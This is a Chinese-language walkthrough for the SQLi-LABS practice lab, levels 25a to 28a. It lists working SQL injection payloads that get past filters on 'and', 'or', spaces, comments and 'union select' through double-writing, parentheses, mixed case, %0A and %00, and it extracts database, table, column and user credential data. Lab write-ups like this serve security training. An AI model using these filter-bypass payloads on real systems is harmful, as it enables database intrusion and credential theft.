SQL注入SQLi-LABS 靶场less25a-28a详细通关攻略
less 25a GET- Blind based -All your OR & AND belong to us -lntiger based
1.判断闭合方式
在我们尝试闭合方式的时候发现将我们的and or过滤掉了,那我们就给他构造一个aandnd进行绕过。可以确定是数字型注入。
?id=2 aandnd 1=1 --+
?id=2 aandnd 1=2 --+
2.判断注入方式
在进行闭合判断时,没有报错注入的相关注入,可以尝试联合注入。
3.判断列数和回显点
1 oorrder by 4 --+1 oorrder by 3 --+//根据页面条件满足变化,可以确定有三列。
-1 union select 1,2,3 --+
4.构造报错注入语句获取数据库名称
-1 union select 1,2,database() --+
5.构造语句查询数据库中的表信息
除了and还有or ,information中的or也会过滤。
-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
6.查询字段名
-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name = users--+
7.查询具体信息
password中的or。
?id=-1 union select 1,group_concat(username,passwoorrd),3 from users --+
less 26a GET -Blind based -All your SPACES and COMMENTS belong to us -String-single quotes-Parenthesis
在我们尝试闭合方式的时候发现将我们的and or 空格 注释都过滤掉了,那我们就给他构造一个aandnd进行绕过,空格使用()代替,%20 +和其他可代替符号都不能使了。
这关使用的是单引号加括号的闭合方式,后面注释我们使用%00截断
1.构造报错注入语句获取数据库名称
0')union(select(1),(2),(select(database())));%00
2.构造语句查询数据库中的表信息
除了and还有or ,information中的or也会过滤,每个空格都会被过滤所以我们使用括号代替时要替换完整。
0')union(select(1),(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),(3));%00
3.查询字段名
0')union(select(1),(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')aandnd(table_name="users")),(3));%00
4.查询具体信息
password中的or。
0')union(select(1),(select(group_concat(username,passwoorrd))from(users)),(3));%00
less 27a GET -Blind based -All your UNION & SELECT belong to us -Double quote
1.判断闭合方式
经过尝试,该关过滤了我们的空格,注释,union,select。使用()代替空格,大小写代替union和select。
1" and (1=1);%00
1" and (1=2);%00
2.判断注入方式
在进行闭合判断时,没有xpath语句报错,过滤union/select,双写绕过使用联合注入。
3.构造报错注入语句获取数据库名称
0"uNiOn (sElect(1),(2),(selEct(database())));%00
4.构造语句查询数据库中的表信息
0"unIon(seleCt(1),(seLect(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),(3));%00
5.查询字段名
0"uniOn(sElect(1),(seleCt(group_concat(column_name))from(information_schema.columns)where(table_schema='security')and(table_name="users")),(3));%00
6.查询具体信息
0"uNion(seleCt(1),(sElect(group_concat(username,password))from(users)),(3));%00
less28a GET -Blind Based -All your UNION & SELECT Belong to us -Single quote parenthesis
1.判断闭合方式
经过尝试,该关过滤了我们的空格,注释,union select。使用括号代替空格,双写代替union select。
2')and(1=1) ;%00
2')and(1=2) ;%00
这里面是存在闭合的,里面如果是')闭合的话代码为('2' and '1' = '1')回显正常所以,这里的闭合为')
2.判断注入方式
这一关没有报错信息,过滤了我们的union select 我们进行绕过后联合注入。
3.构造报错注入语句获取数据库名称
符号也被过滤了,直接使用0使他们正常页面回显不出来,回显我们的联合注入内容。
0')uniunion%0Aselecton%0Aselect%0A1,database(),3;%00
4.构造语句查询数据库中的表信息
0')uniunion%0Aselecton%0Aselect%0A1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0a where %0a table_schema='security'),3;%00
5.查询字段名
0')uniunion%0Aselecton%0Aselect%0A1,(select%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0a where %0a table_schema='security'%0a and %0atable_name='users'),3;%00
6.查询具体信息
0')%0a union%0aunion %0aselect %0a select %0a1,(select%0agroup_concat(username,password)%0afrom%0ausers),3;%00